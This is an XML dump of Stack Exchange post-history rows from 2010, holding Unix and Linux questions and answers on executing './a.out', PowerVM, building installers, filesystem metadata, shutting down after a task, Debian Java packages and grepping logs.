  <row Id="9667" PostHistoryTypeId="2" PostId="4431" RevisionGUID="e200cd08-d528-4bf5-a70a-9bed3f795c1b" CreationDate="2010-11-30T08:32:21.813" UserId="1297" Text="If you mean, why do you need ./ at the start - that's because (unlike in Windows), the current directory isn't part of your path by default. If you run:&#xD;&#xA;&#xD;&#xA;    $ ls&#xD;&#xA;&#xD;&#xA;your shell looks for `ls` in the directories in your PATH environment variable (`echo $PATH` to see it), and runs the first executable called `ls` that it finds. If you type:&#xD;&#xA;&#xD;&#xA;    $ a.out&#xD;&#xA;&#xD;&#xA;the shell will do likewise - but it probably won't find an executable called a.out. You need to tell the shell where a.out is - it it's in the current directory (.) then the path is `./a.out`.&#xD;&#xA;&#xD;&#xA;If you're asking why it's called &quot;a.out&quot;, that's just the default output file name for gcc. You can change it with the -o command line arg. For example:&#xD;&#xA;&#xD;&#xA;    $ gcc test.c -o test&#xD;&#xA;    $ ./test&#xD;&#xA;" />
  <row Id="9668" PostHistoryTypeId="2" PostId="4432" RevisionGUID="94e551c3-da6b-4d7f-9e60-ab8af58348b4" CreationDate="2010-11-30T08:32:29.817" UserId="2179" Text="`a.out` is the default output name for a program compiled with [`gcc`][1]. You can change it with the `-o` option.&#xD;&#xA;&#xD;&#xA;You need the `./` bit to tell the shell where the executable is, since the current directory is unlikely to be in `$PATH`.&#xD;&#xA;&#xD;&#xA;You can use [`which`][2] to get the full path to &quot;other commands.&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/gcc&#xD;&#xA;  [2]: http://linux.die.net/man/1/which" />
  <row Id="9669" PostHistoryTypeId="2" PostId="4433" RevisionGUID="d867ae74-1a55-4db8-a184-c9697ebb1b9e" CreationDate="2010-11-30T08:44:52.863" UserId="2885" Text="I have a few things that I was hoping someone with more experience could clarify in regards to using PowerVM (specifically to virtualise via LPARs AIX).&#xD;&#xA;&#xD;&#xA;So here is what I think I understand regarding PowerVM/LPAR's etc:&#xD;&#xA;&#xD;&#xA; - PowerVM itself (i.e. the Hyper-visor/firmware) has no hostname or IP Address of it's own (Excluding things like RSA cards).&#xD;&#xA; - PowerVM is just a hyper-visor/firmware and not a full Operating System.&#xD;&#xA; - Resources are controlled/distributed to the individual LPAR OS's via a VIOS LPAR, which in turn is managed by either a HMC and/or an IVM.&#xD;&#xA;&#xD;&#xA;Now I'm not overly familiar with IBM virtualisation (More used to Windows/Linux/Solaris) so what I was looking for is if someone could either confirm or clarify these points for me?" />
  <row Id="9670" PostHistoryTypeId="1" PostId="4433" RevisionGUID="d867ae74-1a55-4db8-a184-c9697ebb1b9e" CreationDate="2010-11-30T08:44:52.863" UserId="2885" Text="Clarification on PowerVM" />
  <row Id="9671" PostHistoryTypeId="3" PostId="4433" RevisionGUID="d867ae74-1a55-4db8-a184-c9697ebb1b9e" CreationDate="2010-11-30T08:44:52.863" UserId="2885" Text="éaixà" />
  <row Id="9672" PostHistoryTypeId="5" PostId="4430" RevisionGUID="54affbc6-84c4-4793-8a4a-9ee45b5b9572" CreationDate="2010-11-30T08:47:40.947" UserId="1327" Comment="made the question valid; edited tags; edited title" Text="Why do we give `./filename` to execute a file in linux?&#xD;&#xA;&#xD;&#xA;Why not like other commands `gcc`, `ls` etc...&#xD;&#xA;" />
  <row Id="9673" PostHistoryTypeId="4" PostId="4430" RevisionGUID="54affbc6-84c4-4793-8a4a-9ee45b5b9572" CreationDate="2010-11-30T08:47:40.947" UserId="1327" Comment="made the question valid; edited tags; edited title" Text="Why do we give &quot;./&quot; to execute a file?" />
  <row Id="9674" PostHistoryTypeId="6" PostId="4430" RevisionGUID="54affbc6-84c4-4793-8a4a-9ee45b5b9572" CreationDate="2010-11-30T08:47:40.947" UserId="1327" Comment="made the question valid; edited tags; edited title" Text="écommandölineàéexecutableà" />
  <row Id="9675" PostHistoryTypeId="2" PostId="4434" RevisionGUID="e63c6a55-c687-4cc4-a875-0cdb11968865" CreationDate="2010-11-30T08:52:34.230" UserId="2269" Text="hi all,&#xD;&#xA;&#xD;&#xA;How can i produce an installer for a set of source codes for a specific application in linux.&#xD;&#xA;&#xD;&#xA;Also what is the actions happening when we install a software in Linux?&#xD;&#xA;&#xD;&#xA;__kanu&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9676" PostHistoryTypeId="1" PostId="4434" RevisionGUID="e63c6a55-c687-4cc4-a875-0cdb11968865" CreationDate="2010-11-30T08:52:34.230" UserId="2269" Text="How can produce an &quot;installer&quot; in Linux ? " />
  <row Id="9677" PostHistoryTypeId="3" PostId="4434" RevisionGUID="e63c6a55-c687-4cc4-a875-0cdb11968865" CreationDate="2010-11-30T08:52:34.230" UserId="2269" Text="élinuxà" />
  <row Id="9678" PostHistoryTypeId="2" PostId="4435" RevisionGUID="a2242315-25b5-41d9-9be9-eaa63f4c913a" CreationDate="2010-11-30T09:09:37.753" UserId="2179" Text="Prepare a [makefile][1] and make a [tarball][2] with just the source code and let every user compile it as they seem fit, _and/or_ build an [RPM package][3] (or a [.deb][4] or something else, RPM packages are supposed to be standard).&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Makefile&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Tar_(file_format)&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/RPM_Package_Manager&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/.deb" />
  <row Id="9679" PostHistoryTypeId="2" PostId="4436" RevisionGUID="0717bace-930e-442e-b97d-7e292e31d99e" CreationDate="2010-11-30T11:31:45.817" UserDisplayName="Agaram" Text="I was working with .net for the past few years and now i am put into a project that has unix. I really dont know unix. where should i start? Any suggestion..." />
  <row Id="9680" PostHistoryTypeId="1" PostId="4436" RevisionGUID="0717bace-930e-442e-b97d-7e292e31d99e" CreationDate="2010-11-30T11:31:45.817" UserDisplayName="Agaram" Text="New to unix, Where should i start?" />
  <row Id="9681" PostHistoryTypeId="3" PostId="4436" RevisionGUID="0717bace-930e-442e-b97d-7e292e31d99e" CreationDate="2010-11-30T11:31:45.817" UserDisplayName="Agaram" Text="éunixàélearningà" />
  <row Id="9682" PostHistoryTypeId="5" PostId="4403" RevisionGUID="7958598c-f924-4d00-b241-0002388f8fe8" CreationDate="2010-11-30T11:31:49.573" UserId="2701" Comment="added 1153 characters in body" Text="First and foremost, and I realize that it was not one of the terms from your question, you must understand *metadata*. Succinctly, and stolen from Wikipedia, metadata is data about data. That is to say that metadata contains information about a piece of data. For example, if I own a car then I have a set of information about the car but which is not part of the car itself. Information such as the registration number, make, model, year of manufacture, insurance information, and so on. All of that information is collectively referred to as the metadata. In Linux and UNIX file systems metadata exists at multiple levels of organization as you will see.&#xD;&#xA;&#xD;&#xA;The superblock is essentially file system metadata and defines the file system type, size, status, and information about other metadata structures (metadata of metadata). The superblock is very critical to the file system and therefore is stored in multiple redundant copies for each file system. The superblock is a very &quot;high level&quot; metadata structure for the file system. For example, if the superblock of a partition, /var, becomes corrupt then the file system in question (/var) cannot be mounted by the operating system. Commonly in this event fsck is run and will automatically select an alternate, backup copy of the superblock and attempt to recover the file system. The backup copies themselves are stored in block groups spread through the file system with the first stored at a 1 block offset from the start of the partition. This is important in the event that a manual recovery is necessary. You may view information about superblock backups with the command `dumpe2fs /dev/foo | grep -i superblock` which is useful in the event of a manual recovery attempt. Let us suppose that the dumpe2fs command outputs the line `Backup superblock at 163840, Group descriptors at 163841-163841`. We can use this information, and additional knowledge about the file system structure, to attempt to use this superblock backup: `/sbin/fsck.ext3 -b 163840 -B 1024 /dev/foo`. Please note that I have assumed a block size of 1024 bytes for this example.&#xD;&#xA;&#xD;&#xA;An inode exists in, or on, a file system and represents metadata about a file. For clarity, all objects in a Linux or UNIX system are files; actual files, directories, devices, and so on. Please note that, among the metadata contained in an inode, there is no file name as humans think of it, this will be important later. An inode contains essentially information about ownership (user, group), access mode (read, write, execute permissions) and file type.&#xD;&#xA;&#xD;&#xA;A dentry is the glue that holds inodes and files together by relating inode numbers to file names. Dentries also play a role in directory caching which, ideally, keeps the most frequently used files on-hand for faster access. File system traversal is another aspect of the dentry as it maintains a relationship between directories and their files.&#xD;&#xA;&#xD;&#xA;A file, in addition to being what humans typically think of when presented with the word, is really just a block of logically related arbitrary data. Comparatively very dull considering all of the work done (above) to keep track of them.&#xD;&#xA;&#xD;&#xA;I fully realize that a few sentences do not provide a full explanation of any of these concepts so please feel free to ask for additional details when and where necessary." />
  <row Id="9683" PostHistoryTypeId="2" PostId="4437" RevisionGUID="ac72817d-5d43-4a9e-b623-d2b4420c26ac" CreationDate="2010-11-30T11:35:35.117" UserDisplayName="jabberwok" Text="Not sure if this has been deprecated, but in FC6 you could simply:&#xD;&#xA;&#xD;&#xA;add the user to the wheel group" />
  <row Id="9684" PostHistoryTypeId="2" PostId="4438" RevisionGUID="a5aabb76-d06a-4c41-8de0-a4afe4843ff2" CreationDate="2010-11-30T11:41:23.070" UserId="2885" Text="There are many resources available if you simply do a google search for an example this turns up in a a search and looks like a decent introduction:&#xD;&#xA;&#xD;&#xA;[http://structbio.vanderbilt.edu/comp/unix/part01.php][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://structbio.vanderbilt.edu/comp/unix/part01.php&#xD;&#xA;&#xD;&#xA;Of course depending on exactly what Unix OS(s) you'll be working with you will want to look at some details for that particular OS as there are some differences." />
  <row Id="9685" PostHistoryTypeId="2" PostId="4439" RevisionGUID="edf7b5df-c914-48fd-bcfe-9f0ea8739b23" CreationDate="2010-11-30T12:27:31.470" UserId="1946" Text="Things that come to mind:&#xD;&#xA;&#xD;&#xA;* Learn from you co-workers which are already on the project.&#xD;&#xA;* Read a book a two about Unices and the variant you're involved in.&#xD;&#xA;* When in trouble: think, read the manuals, use the web search, ask colleagues, ask here (in that order!)&#xD;&#xA;* Learn from your errors.&#xD;&#xA;* Enjoy&#xD;&#xA;" />
  <row Id="9686" PostHistoryTypeId="5" PostId="4430" RevisionGUID="23d732e3-0938-421a-9f60-29c46e8fb0b3" CreationDate="2010-11-30T12:37:45.800" UserId="29" Comment="reword to use better english" Text="Why do we use `./filename` to execute a file in linux?&#xD;&#xA;&#xD;&#xA;Why not just enter it like other commands `gcc`, `ls` etc...&#xD;&#xA;" />
  <row Id="9687" PostHistoryTypeId="4" PostId="4430" RevisionGUID="23d732e3-0938-421a-9f60-29c46e8fb0b3" CreationDate="2010-11-30T12:37:45.800" UserId="29" Comment="reword to use better english" Text="Why do we use &quot;./&quot; to execute a file?" />
  <row Id="9688" PostHistoryTypeId="10" PostId="4436" RevisionGUID="405ede38-51c6-4245-afb7-816268a6dc4a" CreationDate="2010-11-30T12:41:16.540" UserId="29" CloseReasonId="1" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="9689" PostHistoryTypeId="5" PostId="4436" RevisionGUID="40c4358e-363f-4617-8b5c-9e8d94b78867" CreationDate="2010-11-30T12:41:16.680" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Beginning to learn Unix and Linux](http://unix.stackexchange.com/questions/3409/beginning-to-learn-unix-and-linux)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I was working with .net for the past few years and now i am put into a project that has unix. I really dont know unix. where should i start? Any suggestion..." />
  <row Id="9690" PostHistoryTypeId="6" PostId="4405" RevisionGUID="874ee3ea-229b-4377-a0fa-1c6ce432be56" CreationDate="2010-11-30T12:59:13.933" UserId="29" Comment="readd the tag... apparently somehow this might actually be fedora specific" Text="éfedoraàésudoà" />
  <row Id="9691" PostHistoryTypeId="2" PostId="4440" RevisionGUID="8ac730f3-4660-4997-84c3-a159c97fa29f" CreationDate="2010-11-30T13:47:58.683" UserId="2180" Text="According to [Gnome's Desktop Application Autostart Specification][1], I should be able to have a program execute simply by naming it any of &quot;.autorun&quot;, &quot;autorun&quot;, or &quot;autorun.sh&quot;. None of these seem to work: I get a prompt from nautilus-autorun-software asking if I want to let it run, I say &quot;Run&quot;, and it results in a dialog that says &quot;Error autorunning software: Cannot find the autorun program&quot;. Is it a bug or am I not doing something correctly?&#xD;&#xA;&#xD;&#xA;The autorun file contains the following:&#xD;&#xA;&#xD;&#xA;    #! /bin/sh&#xD;&#xA;    gnome-terminal -x sh -c '~/bin/podcatcher/copypodcasts.sh; echo Done!; read pause'&#xD;&#xA;&#xD;&#xA;It works if I manually run the autorun file.&#xD;&#xA;&#xD;&#xA;  [1]: http://library.gnome.org/devel/autostart-spec/#mounting" />
  <row Id="9692" PostHistoryTypeId="1" PostId="4440" RevisionGUID="8ac730f3-4660-4997-84c3-a159c97fa29f" CreationDate="2010-11-30T13:47:58.683" UserId="2180" Text="How do I autostart an application in Gnome when a volume is mounted?" />
  <row Id="9693" PostHistoryTypeId="3" PostId="4440" RevisionGUID="8ac730f3-4660-4997-84c3-a159c97fa29f" CreationDate="2010-11-30T13:47:58.683" UserId="2180" Text="égnomeàénautilusàéautoplayà" />
  <row Id="9694" PostHistoryTypeId="2" PostId="4441" RevisionGUID="0c435cf7-bd69-407b-88fc-d6f6420e966d" CreationDate="2010-11-30T14:07:23.497" UserDisplayName="Azwan" Text="the required package is &quot;indicator-applet-me&quot; (chat bubble on the right top corner)" />
  <row Id="9695" PostHistoryTypeId="2" PostId="4442" RevisionGUID="0cc0a2f7-ae9e-4c61-a343-93feff0f40fb" CreationDate="2010-11-30T14:35:14.653" UserId="2811" Text="I usually start a download before I go to school. &lt;br/&gt;&#xD;&#xA;Which command should I use to automatically make the necessary saves and turn off the computer after a particular task has been completed? &lt;br/&gt;&#xD;&#xA;(Say, after installing the updates, or after downloading a large file.)&#xD;&#xA;&#xD;&#xA;I have also cross-posted at [askubuntu](http://askubuntu.com/questions/15526/how-to-shut-down-the-computer-after-a-task-has-been-completed).&#xD;&#xA;" />
  <row Id="9696" PostHistoryTypeId="1" PostId="4442" RevisionGUID="0cc0a2f7-ae9e-4c61-a343-93feff0f40fb" CreationDate="2010-11-30T14:35:14.653" UserId="2811" Text="How to shut down the computer after a task has been completed?" />
  <row Id="9697" PostHistoryTypeId="3" PostId="4442" RevisionGUID="0cc0a2f7-ae9e-4c61-a343-93feff0f40fb" CreationDate="2010-11-30T14:35:14.653" UserId="2811" Text="écommandölineàéshutdownà" />
  <row Id="9698" PostHistoryTypeId="2" PostId="4443" RevisionGUID="fc72b2d3-1370-4851-b726-2a1d662e8917" CreationDate="2010-11-30T14:51:44.747" UserId="2701" Text="You can use the `&amp;&amp;` and `||` operators to chain commands together. For example:&#xD;&#xA;&#xD;&#xA;    apt-get update &amp;&amp; sleep 2 &amp;&amp; init 0&#xD;&#xA;&#xD;&#xA;which will perform an update to the system using aptitude, wait 2 seconds, and go to runlevel 0, depending on your system this may or may not actually power off the hardware.&#xD;&#xA;&#xD;&#xA;To speak to one or more operations following a more arbitrary operation, such as a, presumably web browser, download you would require additional logic to watch the downloading file to verify that the download has in fact completed, however, the shell logic is unchanged." />
  <row Id="9699" PostHistoryTypeId="2" PostId="4444" RevisionGUID="61d7a19e-dadc-4c19-9470-689f3ecaac0b" CreationDate="2010-11-30T14:54:12.317" UserId="2661" Text="It depends you started task. If it is some command line tool you could simply run `halt` or `shutdown -h now`:&#xD;&#xA;&#xD;&#xA; 1. `wget http://..../somelargefile; halt` - `halt` will be executed after `wget` &#xD;&#xA;&#xD;&#xA; 2. `wget http://..../somelargefile &amp;&amp; halt` - `halt` will be executed if `wget` return no errors&#xD;&#xA;&#xD;&#xA; 3. `wget http://..../somelargefile || halt` - `halt` will be executed if `wget` return errors&#xD;&#xA;&#xD;&#xA;Alternative to this is using `kshutdown` - in this app you can specify what action should be done (reboot/shutdown/hibernate/etc or command execution) and when (after some time or when another application exits). If you want to use this tool you need to chose correct process - some update utilities starts few subprocesses.&#xD;&#xA;&#xD;&#xA;![KShutdown][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/GU3cO.png" />
  <row Id="9700" PostHistoryTypeId="2" PostId="4445" RevisionGUID="129c331a-ccab-42e3-8b8f-14913b53bbaa" CreationDate="2010-11-30T15:15:06.887" UserId="688" Text="Both OpenJDK and GCJ are available for install on Debian, and now I wonder what's happening. Don't these provide same functionality?" />
  <row Id="9701" PostHistoryTypeId="1" PostId="4445" RevisionGUID="129c331a-ccab-42e3-8b8f-14913b53bbaa" CreationDate="2010-11-30T15:15:06.887" UserId="688" Text="What is Debian's stance regarding GCJ and OpenJDK?" />
  <row Id="9702" PostHistoryTypeId="3" PostId="4445" RevisionGUID="129c331a-ccab-42e3-8b8f-14913b53bbaa" CreationDate="2010-11-30T15:15:06.887" UserId="688" Text="édebianàéjavaà" />
  <row Id="9703" PostHistoryTypeId="2" PostId="4446" RevisionGUID="908c2278-9c70-4326-bb84-88d5420b6cf7" CreationDate="2010-11-30T16:02:12.727" UserId="2661" Text="Some commercial software or games sometimes uses [Nixstaller][1]:&#xD;&#xA;&#xD;&#xA;&gt; Nixstaller is an Open Source project with the goal to create user friendly and flexible installers that work on various UNIX like systems.&#xD;&#xA;&#xD;&#xA;Using Nixstaller we can create installers that works on most modern distributions, can install app locally or in system and looks like Windows installers ;).&#xD;&#xA;&#xD;&#xA;But the best solution is to create native packages for each distribution so it could be managed via system package manager. For more details information about this you need to write more details about what you want to accomplish.&#xD;&#xA;&#xD;&#xA;  [1]: http://nixstaller.berlios.de/" />
  <row Id="9704" PostHistoryTypeId="2" PostId="4447" RevisionGUID="6b17998b-23b1-4c91-9469-1d2dc0e101fb" CreationDate="2010-11-30T16:22:38.737" UserId="2759" Text="They are fine with both for the most part, both are installed by default.&#xD;&#xA;&#xD;&#xA;Reference : http://wiki.debian.org/Java" />
  <row Id="9705" PostHistoryTypeId="5" PostId="4347" RevisionGUID="52d40222-2815-4689-a428-f1a5111a8a79" CreationDate="2010-11-30T16:35:40.810" UserId="1416" Comment="added removal of event in chat window" Text="This one is well hidden :-)&#xD;&#xA;&#xD;&#xA;**To remove the KDE event notification**&#xD;&#xA;&#xD;&#xA;1. Go to KDE system settings&#xD;&#xA;2. Select &quot;Application and System Notifications&quot;.&#xD;&#xA;3. Choose Kopete Messenger in Event source, &#xD;&#xA;4. Select &quot;Status Change&quot; and uncheck all options.&#xD;&#xA;&#xD;&#xA;**To remove the event in the Kopete chat window**&#xD;&#xA;&#xD;&#xA;1. In Kopete, go to menu Settings / Configure...&#xD;&#xA;2. Select Behavior / Chat &#xD;&#xA;3. Uncheck &quot;Show events in chat window&quot;." />
  <row Id="9706" PostHistoryTypeId="2" PostId="4448" RevisionGUID="87e343ec-eeee-4095-a31e-aa08c60fa7ec" CreationDate="2010-11-30T17:25:23.103" UserId="2897" Text="As there are more than one Linux distro, there's also more than one package management solution. I think that creating an app installer depends more on the target audience than on the target system.&#xD;&#xA;&#xD;&#xA; 1. If you plan to produce an installer for confirmed Linux users, then a source tarball will suffice.&#xD;&#xA; 2. If you target desktop users or non-confirmed Linux users, then produce DEB **and** RPM packages since those two package management tools cover the major Linux distros.&#xD;&#xA;&#xD;&#xA;&gt; Also what is the actions happening when we install a software in Linux?&#xD;&#xA;&#xD;&#xA;For source tarballs, nothing actually. The user is left alone to compile the source archive and figure out what are the dependencies (libraries and so on) without what the application wouldn't run.&#xD;&#xA;&#xD;&#xA;For DEB and RPM (and other package management tolls) the process of figuring out what dependencies are needed and the installation operation, is managed entirely by the package management (a connection to the Internet is needed to download the dependencies).&#xD;&#xA;&#xD;&#xA;**WIKI**&#xD;&#xA;&#xD;&#xA;DEB: a Debian package file. apt is Debian's package management tool.&#xD;&#xA;&#xD;&#xA;RPM: RedHat Package Management file. The same name goes for the package management tool." />
  <row Id="9707" PostHistoryTypeId="5" PostId="4448" RevisionGUID="6d303f2d-0153-4f7c-b533-0a936585c274" CreationDate="2010-11-30T17:32:44.693" UserId="2897" Comment="added 207 characters in body; added 3 characters in body" Text="As there are more than one Linux distro, there's also more than one package management solution. I think that creating an app installer depends more on the target audience than on the target system.&#xD;&#xA;&#xD;&#xA; 1. If you plan to produce an installer for confirmed Linux users, then a source tarball will suffice.&#xD;&#xA; 2. If you target desktop users or non-confirmed Linux users, then produce DEB **and** RPM packages since those two package management tools cover the major Linux distros.&#xD;&#xA;&#xD;&#xA;&gt; Also what is the actions happening when we install a software in Linux?&#xD;&#xA;&#xD;&#xA;For source tarballs, nothing actually. The user is left alone to compile the source archive and figure out what are the dependencies (libraries and so on) without what the application wouldn't run.&#xD;&#xA;&#xD;&#xA;For DEB and RPM (and other package management tools) the process of figuring out what dependencies are needed and the installation operation, is managed entirely by the package management tool(a connection to the Internet is needed to download the dependencies). The package management tool is responsible for registering the just installed app and all its dependencies in a local registry system so it wouldn't be necessary to install them once more for future needs. &#xD;&#xA;&#xD;&#xA;**WIKI**&#xD;&#xA;&#xD;&#xA;DEB: a Debian package file. apt is Debian's package management tool.&#xD;&#xA;&#xD;&#xA;RPM: RedHat Package Managemer file. The same name goes for the package management tool." />
  <row Id="9711" PostHistoryTypeId="5" PostId="4448" RevisionGUID="cf041ba2-569c-4416-9ae3-64fd2b5a1333" CreationDate="2010-11-30T18:33:28.267" UserId="2897" Comment="deleted 2 characters in body" Text="As there are more than one Linux distro, there's also more than one package management solution. I think that creating an app installer depends more on the target audience than on the target system.&#xD;&#xA;&#xD;&#xA; 1. If you plan to produce an installer for confirmed Linux users, then a source tarball will suffice.&#xD;&#xA; 2. If you target desktop users or non-confirmed Linux users, then produce DEB **and** RPM packages since those two package management tools cover the major Linux distros.&#xD;&#xA;&#xD;&#xA;&gt; Also what is the actions happening when we install a software in Linux?&#xD;&#xA;&#xD;&#xA;For source tarballs, nothing actually. The user is left alone to compile the source archive and figure out what are the dependencies (libraries and so on) without what the application wouldn't run.&#xD;&#xA;&#xD;&#xA;For DEB and RPM (and other package management tools) the process of figuring out what dependencies are needed and the installation operation, is managed entirely by the package management tool(a connection to the Internet is needed to download the dependencies). The package management tool is responsible for registering the just installed app and all its dependencies in a local registry system so it wouldn't be necessary to install them once more for future needs. &#xD;&#xA;&#xD;&#xA;**WIKI**&#xD;&#xA;&#xD;&#xA;DEB: a Debian package file. apt is Debian's package management tool.&#xD;&#xA;&#xD;&#xA;RPM: RedHat Package Manager file. The same name goes for the package management tool." />
  <row Id="9712" PostHistoryTypeId="6" PostId="4434" RevisionGUID="aca11e8e-e4bd-46ee-baa2-d130d4adf585" CreationDate="2010-11-30T19:02:47.240" UserId="885" Comment="edited tags" Text="élinuxàépackagingà" />
  <row Id="9714" PostHistoryTypeId="2" PostId="4450" RevisionGUID="19e3e7d8-f429-49b6-879f-498da9e85099" CreationDate="2010-11-30T19:25:14.687" UserId="885" Text="Debian's stance is that, beyond certain critical system components which are considered required¹, there is no preferred software. If two programs provide similar functionality, and they're both [suitable for Debian](http://www.debian.org/doc/debian-policy/ch-archive.html)², and there's a Debian developper willing to maintain each package, then both programs will end up in Debian. The idea is that it's up to the user to choose which program to use.&#xD;&#xA;&#xD;&#xA;On a given system, at most one Java implementation can be `/usr/bin/java`. This is decided through the [alternatives mechanism](http://www.debian.org/doc/debian-policy/ap-pkg-alternatives.html): each Java implementation has a priority (decided by common agreement amongst the maintainers of the Debian packages involved), and whichever implementation that is installed on a particular system has the highest priority gets to be `/usr/bin/java`. The system administrator can override this by manually changing the `/etc/alternatives/java` symbolic link. And if there are several JVMs installed, users can choose on a case-by-case basis to run `/usr/lib/jvm/java-6-openjdk/jre/bin/java`, `/usr/lib/jvm/java-6-sun/jre/bin/java`, etc.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;Or at least strongly advised.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;² &lt;sub&gt;&#xD;&#xA;The best-known requirement is that the program must be [free software](http://www.debian.org/social_contract#guidelines), with some exceptions (`non-free`); another is that it must not be too buggy.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="9715" PostHistoryTypeId="5" PostId="4448" RevisionGUID="32d08a98-0475-440b-8e7f-c67893a19ec8" CreationDate="2010-11-30T19:37:18.550" UserId="2897" Comment="deleted 2 characters in body" Text="As there's more than one Linux distro, there's also more than one package management solution. I think that creating an app installer depends more on the target audience than on the target system.&#xD;&#xA;&#xD;&#xA; 1. If you plan to produce an installer for confirmed Linux users, then a source tarball will suffice.&#xD;&#xA; 2. If you target desktop users or non-confirmed Linux users, then produce DEB **and** RPM packages since those two package management tools cover the major Linux distros.&#xD;&#xA;&#xD;&#xA;&gt; Also what is the actions happening when we install a software in Linux?&#xD;&#xA;&#xD;&#xA;For source tarballs, nothing actually. The user is left alone to compile the source archive and figure out what are the dependencies (libraries and so on) without what the application wouldn't run.&#xD;&#xA;&#xD;&#xA;For DEB and RPM (and other package management tools) the process of figuring out what dependencies are needed and the installation operation, is managed entirely by the package management tool(a connection to the Internet is needed to download the dependencies). The package management tool is responsible for registering the just installed app and all its dependencies in a local registry system so it wouldn't be necessary to install them once more for future needs. &#xD;&#xA;&#xD;&#xA;**WIKI**&#xD;&#xA;&#xD;&#xA;DEB: a Debian package file. apt is Debian's package management tool.&#xD;&#xA;&#xD;&#xA;RPM: RedHat Package Manager file. The same name goes for the package management tool." />
  <row Id="9716" PostHistoryTypeId="5" PostId="4148" RevisionGUID="33b8ee9b-7174-4cf7-b788-ef55c58a41e9" CreationDate="2010-11-30T19:48:28.980" UserId="2700" Comment="clarification: problem box is VM" Text="I'm using SSH (with -X specified) from a Ubuntu box to a RHEL4 box and running GVim. It opens as expected in my local X, but the copy and paste via select doesn't work. I cannot select text in GVim and paste in a local window, nor can I select text from a local window and paste in GVim. This works, however, when I SSH (with -X specified) to a different RHEL4 box.&#xD;&#xA;&#xD;&#xA;Is there something I need to install on the remote machine?&#xD;&#xA;&#xD;&#xA;I am running Parcellite 0.9.2 on the local box, but closing it doesn't make the problem go away, and it is not interfering with the other box.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - Thanks for the help so far, guys.&#xD;&#xA; - To clarify, copy/paste via select&#xD;&#xA;   works on a GVim window spawned from&#xD;&#xA;   box A, but not on a GVim window&#xD;&#xA;   spawned from box B. Both box A and&#xD;&#xA;   box B are RHEL4 U8. &#xD;&#xA; - When I select&#xD;&#xA;   some text in the GVim window, I can&#xD;&#xA;   paste it via right-click within that&#xD;&#xA;   window, but I cannot paste it into&#xD;&#xA;   anything running locally.  When I&#xD;&#xA;   select something locally, I can paste&#xD;&#xA;   it locally but when I paste into the&#xD;&#xA;   GVim window, it pastes the last thing&#xD;&#xA;   selected in the GVim window, not the&#xD;&#xA;   last thing selected locally.&#xD;&#xA; - Just to make it a bit freakier, *sometimes* I open a second GVim window from the same box, I can paste into that second window (though still not the first), but I still cannot select something in that window and paste it locally.&#xD;&#xA; - I get the same behaviour using Ctrl-Shift-C.  Holding shift while selecting with the mouse prevents selecting.  Ctrl-Shift-V starts block selection in vim, not pasting.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - The machine that is presenting the problem is a vitual machine running on VM Player." />
  <row Id="9717" PostHistoryTypeId="2" PostId="4451" RevisionGUID="bd60c05f-6e3f-463e-87df-bd4872703c79" CreationDate="2010-11-30T21:18:15.857" UserId="2901" Text="Hi&#xD;&#xA;&#xD;&#xA;We are running solaris 10 at work. What I'd like to do is find the line previous to another line.&#xD;&#xA;&#xD;&#xA;Real live example. I can find out that some of our requests are timing out with the following query.&#xD;&#xA;&#xD;&#xA;grep timeout log.log.&#xD;&#xA;&#xD;&#xA;This gives me something similar to:&#xD;&#xA;&#xD;&#xA;    2010-11-30 20:59:57,495 ERROR [82.69.73.87 - 342E15CB9651927BE715780FC40DEC53 - 3675058] Send Call (AbstractEngineServlet.java:288) &gt; - Merchant error HTTPS Comms found. Merchant Trans Id: 22283845800 The host did not accept the connection within timeout of 60000 ms&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In the log files though but it may be several lines previous we log about to call &#xD;&#xA;&#xD;&#xA;`2010-11-30 20:56:57,495 INFO [82.69.73.87 - 342E15CB9651927BE715780FC40DEC53 - 3675058] about to call http://www.example.com`&#xD;&#xA;&#xD;&#xA;So what I would like to do is identify all timeouts and then identify all the &quot;about to call&quot; lines which are directly previous and have the same IP address or session. &#xD;&#xA;&#xD;&#xA;In the above example it would be finding the previous row containing &quot;342E15CB9651927BE715780FC40DEC53&quot; is this possible with the standard shell tools?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9718" PostHistoryTypeId="1" PostId="4451" RevisionGUID="bd60c05f-6e3f-463e-87df-bd4872703c79" CreationDate="2010-11-30T21:18:15.857" UserId="2901" Text="Solaris find previous log line." />
  <row Id="9719" PostHistoryTypeId="3" PostId="4451" RevisionGUID="bd60c05f-6e3f-463e-87df-bd4872703c79" CreationDate="2010-11-30T21:18:15.857" UserId="2901" Text="ésolarisàétextöprocessingà" />
  <row Id="9720" PostHistoryTypeId="2" PostId="4452" RevisionGUID="9a22af3d-4e88-405d-92e2-bd03c06c8c1d" CreationDate="2010-11-30T21:33:28.917" UserId="2661" Text="    for i in `grep timeout log.txt|awk '{print $6}'`;&#xD;&#xA;    do&#xD;&#xA;      grep $i log.txt;&#xD;&#xA;      echo &quot;-----------------&quot;;&#xD;&#xA;    done" />
  <row Id="9721" PostHistoryTypeId="5" PostId="4415" RevisionGUID="0e094bc5-c27d-4fac-8d13-e517c8e9281e" CreationDate="2010-11-30T21:42:34.767" UserId="73" Comment="edited body" Text="I know I've probably looked over this a million times in all the VI documents I've read, but I can't seem to find the delete from cursor to end of line command." />
